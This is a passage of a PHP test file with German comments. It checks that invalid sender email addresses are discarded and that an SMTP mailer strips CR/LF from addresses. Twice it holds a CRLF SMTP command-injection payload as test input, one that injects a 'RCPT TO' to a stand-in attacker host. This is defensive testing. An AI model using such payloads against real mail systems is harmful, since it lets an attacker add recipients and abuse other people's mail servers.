'strasse' => $before['strasse'] ?: 'Teststr. 1',
|
||||||
|
'plz' => $before['plz'] ?: '12345',
|
||||||
|
'ort' => $before['ort'] ?: 'Testort',
|
||||||
|
]);
|
||||||
|
|
||||||
|
// Gültige Adresse wird unverändert übernommen
|
||||||
|
Setting::update(array_merge($base, [
|
||||||
|
'mail_from_email' => 'rechnung@firma.example',
|
||||||
|
]));
|
||||||
|
$this->assertEquals('rechnung@firma.example', Setting::get()['mail_from_email'], 'Gültige Absenderadresse wird gespeichert');
|
||||||
|
|
||||||
|
// CRLF-Payload (SMTP-Kommando-Injection) wird beim Speichern verworfen, nicht nur bereinigt
|
||||||
|
Setting::update(array_merge($base, [
|
||||||
|
'mail_from_email' => "admin@firma.example>\r\nRCPT TO:<angreifer@evil.example>\r\nDATA",
|
||||||
|
]));
|
||||||
|
$stored = Setting::get()['mail_from_email'];
|
||||||
|
$this->assert(
|
||||||
|
!str_contains($stored, "\r") && !str_contains($stored, "\n"),
|
||||||
|
'Gespeicherte Absenderadresse enthält kein CR/LF'
|
||||||
|
);
|
||||||
|
$this->assertEquals('', $stored, 'Ungültige (CRLF-behaftete) Absenderadresse wird verworfen statt gespeichert');
|
||||||
|
|
||||||
|
// Andere ungültige Werte (kein E-Mail-Format) werden ebenfalls verworfen
|
||||||
|
Setting::update(array_merge($base, [
|
||||||
|
'mail_from_email' => 'keine-email-adresse',
|
||||||
|
]));
|
||||||
|
$this->assertEquals('', Setting::get()['mail_from_email'], 'Nicht-E-Mail-Wert wird verworfen');
|
||||||
|
|
||||||
|
// Ursprünglichen Zustand wiederherstellen
|
||||||
|
Setting::update(array_merge($base, [
|
||||||
|
'mail_from_email' => $before['mail_from_email'] ?? '',
|
||||||
|
]));
|
||||||
|
|
||||||
|
// Defense-in-depth: SmtpMailer::sanitizeAddress() entfernt CRLF selbst,
|
||||||
|
// falls eine mit CRLF behaftete Adresse trotzdem in den Mailer gelangt.
|
||||||
|
$mailer = new SmtpMailer(
|
||||||
|
host: '127.0.0.1',
|
||||||
|
port: 1,
|
||||||
|
encryption: 'none',
|
||||||
|
user: '',
|
||||||
|
pass: '',
|
||||||
|
fromEmail: 'absender@example.com',
|
||||||
|
fromName: 'Absender',
|
||||||
|
);
|
||||||
|
$ref = new \ReflectionMethod($mailer, 'sanitizeAddress');
|
||||||
|
$ref->setAccessible(true);
|
||||||
|
$result = $ref->invoke($mailer, "admin@firma.example>\r\nRCPT TO:<angreifer@evil.example>");
|
||||||
|
$this->assert(
|
||||||
|
!str_contains($result, "\r") && !str_contains($result, "\n"),
|
||||||
|
'sanitizeAddress() entfernt CR/LF aus der Absenderadresse'
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
Loading…
Add table
Reference in a new issue